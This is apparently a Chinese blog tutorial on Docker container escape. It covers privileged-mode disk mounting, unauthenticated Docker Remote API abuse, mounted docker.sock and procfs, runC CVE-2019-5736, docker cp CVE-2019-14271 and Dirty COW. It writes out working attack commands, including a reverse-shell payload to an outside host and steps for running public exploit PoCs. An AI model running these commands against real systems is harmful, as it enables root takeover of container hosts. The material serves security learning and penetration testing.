Docker逃逸

如果是 物理机运行虚拟机,虚拟机运行Docker容器 的情况,还要进行 虚拟机逃逸。

Docker 逃逸的原因可以划分为三种:

  • 由内核漏洞引起 ——Dirty COW(CVE-2016-5195)
  • 由 Docker 软件设计引起——CVE-2019-5736(runC )、CVE-2019-14271(cp)
  • 由配置不当引起——开启privileged(特权模式)+宿主机目录挂载(文件挂载)、sock通信传输逃逸、docker Remote API未授权

1、判断docker环境

1.1 判断根目录下有无 .dockerenv 文件

ls  /.dockerenv

1.2 查看系统进程的cgroup信息是否存在docker字符串

cat /proc/1/cgroup  或者 cat /proc/self/cgroup

1.3 容器ip大多是172.17段,而且很多常见的命令缺失

2、逃逸

确认 docker是root权限还是www-data权限,是否需要 先提权,再逃逸。

2.1 利用 特权模式 逃逸

使用特权模式启动容器,可以获取大量 设备文件 访问权限。因为当管理员执行 docker run privileged 时,Docker 容器将被允许访问主机上的所有设备,并可以执行 mount 命令进行 挂载,还可以通过写入计划任务等方式在宿主机执行命令。

2.1.1 判断当前环境是否是以特权模式启动的

cat /proc/self/status | grep CapEff

如果是以特权模式启动,CapEff对应的掩码值应该为:0000003fffffffff

2.1.2 查看磁盘文件

fdisk -l

2.1.3 创建一个文件夹,并将sda1挂载到该文件夹中

mkdir hello   ---创建文件夹(rmdir hello 删除文件夹)

mount /dev/sda1 /hello   ---挂载(umount /dev/sda1  取消挂载)

ls /hello   ---查看是否 挂载成功

进入hello目录即成功逃逸到宿主机根目录

2.2 利用docker remote api 未授权访问 导致逃逸

漏洞原理:在使用docker swarm的时候,节点上会开放一个TCP端口2375,绑定在0.0.0.0上。如果我们使用HTTP的方式访问会返回404。

     docker在默认部署的情况下,存在未授权访问的危害,导致攻击者可以执行任意命令,导致服务器沦陷。

前提条件:Docker Remote API是否存在未授权,2375端口是否开放。

利用思路:通过挂在宿主机的目录,写定时任务获取SHELL,从而逃逸。

(适用版本 < Docker version 19.03.12)

2.2.1 拉取一个镜像

docker -H tcp://192.168.88.130 pull busybox

2.2.2 使用拉取的镜像启动一个新的容器,以sh或者/bin/bash作为shell启动,并且将该宿主机的根目录挂在到容器的/mnt目录下

docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt bc01a3326866 sh  或者 /bin/bash

执行之后会返回一个该容器宿主机的shell

2.2.3 进入/mnt目录,即可逃逸到宿主机

2.3 危险挂载 导致docker逃逸

容器在启动的时候,挂载了/var/run/docker.sock,一般很少遇到。

挂载目录(-v /:/soft)

docker run -itd -v /dir:/dir ubuntu:18.04 /bin/bash

挂载Docker Socket
Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种:

  • unix:///var/run/docker.sock(默认)
  • tcp://host:port
  • fd://socketfd

Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信——查询信息或下发命令。

逃逸复现:

2.3.1 创建一个容器并挂载/var/run/docker.sock

docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu

2.3.2 在该容器内安装Docker命令行客户端

apt-update apt-get install \ apt-transport-https \ ca-certificates \ curl \ gnupg-agent \ software-properties-common curl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg| apt-key add - apt-key fingerprint 0EBFCD88 add-apt-repository \ "deb [arch=amd64] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/\ $(lsb_release -cs) \ stable" apt-get update apt-get install docker-ce docker-ce-cli containerd.io

2.3.3 使用该客户端通过Docker Socket与Docker守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部

docker run -it -v /:/host ubuntu:18.04 /bin/bash 13

2.3.4 在新容器内执行chroot,将根目录切换到挂载的宿主机根目录。 已成功逃逸到宿主机

2.3.5 挂载宿主机procfs

docker run -itd -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

复现:“在挂载procfs的容器内利用core_pattern后门实现逃逸“。 利用思路:攻击者进入到挂载了宿主机profs的容器,root权限,然后向宿主机的procfs写Payload。

procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。

2.4 Docker runC 容器逃逸漏洞 CVE-2019-5736

(Docker <= 18.09.2  runc <= 1.0-rc6)

允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。
即通过在docker容器中重写和运行主机系统的runc二进制文件 逃逸。通过 docker 和docker-runc 查看当前版本情况。

第一步要有一个docker下的shell,第二步利用脚本中的反弹shell命令,第三步使用go build来编译脚本,第四步将脚本上传到docker中,第五步等待宿主机执行exec进入当前docker容器的时候,宿主机就会向我们的vps反弹root权限的shell

2.4.1 下载poc

git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git  PoC修改Payloadvi main.go

2.4.2 修改\n后面的命令为反弹shell命令

payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/1234 0>&1"

2.4.3 编译生成payload,拷贝到docker容器中执行

CGO_ENABLED=0 GOOS=linux GOARCH=amd64
go build main.go
sudo docker cp ./main 248f8b7d3c45:/tmp

2.4.4 执行此脚本,等待宿主机用户进入这个容器中

docker exec -it test /bin/bash

上面命令的含义进入test这个容器,当宿主机上执行exec命令来进入我们运行了脚本的容器的时候,宿主机就会反弹root权限的shell给我们的vps的监听端口,至此利用结束。

(需要管理员再次手动进入容器触发。如果没有人在宿主机执行的话是无法docker逃逸的)

版本太高,逃逸失败:

2.5 Docker cp命令 容器逃逸攻击漏洞 CVE-2019-14271

漏洞描述:

当Docker宿主机使用cp命令时,会调用辅助进程docker-tar,该进程没有被容器化,且会在运行时动态加载一些libnss.so库。黑客可以通过在容器中替换libnss.so等库,将代码注入到docker-tar中。当Docker用户尝试从容器中拷贝文件时将会执行恶意代码,成功实现Docker逃逸,获得宿主机root权限。

影响版本:Docker < 19.03.0

漏洞原理:

Copy命令允许从容器复制文件。把文件复制到容器外,docker需要借助一个名为docker-tar的帮助进程,docker-tar的工作原理是对文件进行chroot,将请求的文件和目录放在其中,然后将其生成的tar文件传递回Docker的守护程序,该守护程序负责将其提取到宿主机的目标目录中。

选择chroot 方式的主要原因是为了避免符号链接问题,当主机进程尝试访问容器上的文件时,可能会产生符号链接的问题。在这些文件中,如果包含符号链接,那么可能会在无意中将其解析为主机根目录。这就为攻击者控制的容器敞开了大门,使得攻击者可以尝试让docker cp在宿主机而非容器上读取和写入文件。

从容器中复制/var/logs/  的语法:

docker cp container_name:/var/logs /some/host/path.

chroot:Change Root,改变程序执行时所参考的根目录位置

Docker-tar chroot进入容器:

有漏洞的版本使用Go v1.11编译而成的

这个版本中的一些包含 嵌入式C语言代码 的软件包(cgo),在运行时会加载动态共享库。

这些软件包 包括net和os/user,都会被docker-tar使用,它们会在运行时加载多个libnss_*.so库。

通常,这些库会从宿主机的文件系统中加载,但是由于docker-tar会chroot到容器中,因此它会从容器文件系统中加载库。这也就意味着,docker-tar将加载并执行由容器发起和控制的代码。

需要说明的是,除了被chroot到容器文件系统之外,docker-tar并没有被容器化。它运行在宿主机的命名空间中,具有所有root能力,并且不会受到cgroups或seccomp的限制。

有一种可能的攻击场景,是Docker用户从以下 任一用户的位置 复制一些文件:

  • 运行包含恶意libnss_*.so库中恶意映像的容器;
  • 受到攻击的容器,且攻击者替换了其中的libnss_*.so库

在这两种情况下,攻击者都可以在宿主机上实现root权限的任意代码执行。
利用思路:

  • 找出docker-tar具体会加载那些容器内的动态链接库
  • 下载对应动态链接库源码,为其增加一个attribute((constructor))属性的函数run_at_link(该属性意味着在动态链接库被进程加载时,run_at_link函数会首先被执行),在run_at_link函数中放置我们希望docker-tar执行的攻击载荷(payload);编译生成动态链接文件
  • 编写辅助脚本”/breakout“,将辅助脚本和步骤二生成的恶意动态链接库放入恶意容器,等待用户执行docker cp命令,触发漏洞

2.6 内核漏洞 引起的逃逸(脏牛漏洞)

2.6.1 脏牛漏洞(CVE-2016-5195)与VDSO(虚拟动态共享对象)

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。

竞争条件意为任务执行顺序异常,可能导致应用崩溃或面临攻击者的代码执行威胁。利用该漏洞,攻击者可在其目标系统内提升权限,甚至获得root权限。

VDSO就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。

在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件。

docker容器又是和宿主机公用一套内核的,所在docker容器内使用脏牛拿的root shell,是内核级别的,即拿到了宿主机的root shell。

2.6.2 PoC&验证环境

1、运行验证容器:

git clone https://github.com/gebl/dirtycow-docker-vdso 
cd dirtycow-docker-vdso 
docker-compose run dirtycow /bin/bash

2. 本地开启nc,进行观察(PoC中设置的反弹地址为本地的1234端口):

nc -lvp 1234

3. 编译PoC并运行,等待shell反弹:

make &./0xdeadbeef

3、总结

1、如果容器是使用特权创建的,即创建的时候使用了–privileged参数,可以直接挂载宿主的磁盘到容器中,进而实现逃逸。

2、docker remote api未授权访问,使用api创建一个挂在了宿主机根目录的容器,实现逃逸。

3、如果当前容器挂载了/var/run/docker.sock,可以在容器里面安装docker,拉取镜像,创建容器,然后挂载宿主机的根目录。

4、如果容器挂载了宿主机根目录,直接使用chroot切换到宿主机的shell,进而实现逃逸。

5、利用存在的漏洞逃逸,如,runC容器逃逸漏洞(CVE-2019-5736),Docker cp命令(CVE-2019-14271)等。

posted @ 2023-03-23 21:48  hello_bao  阅读(2159)  评论(0)    收藏  举报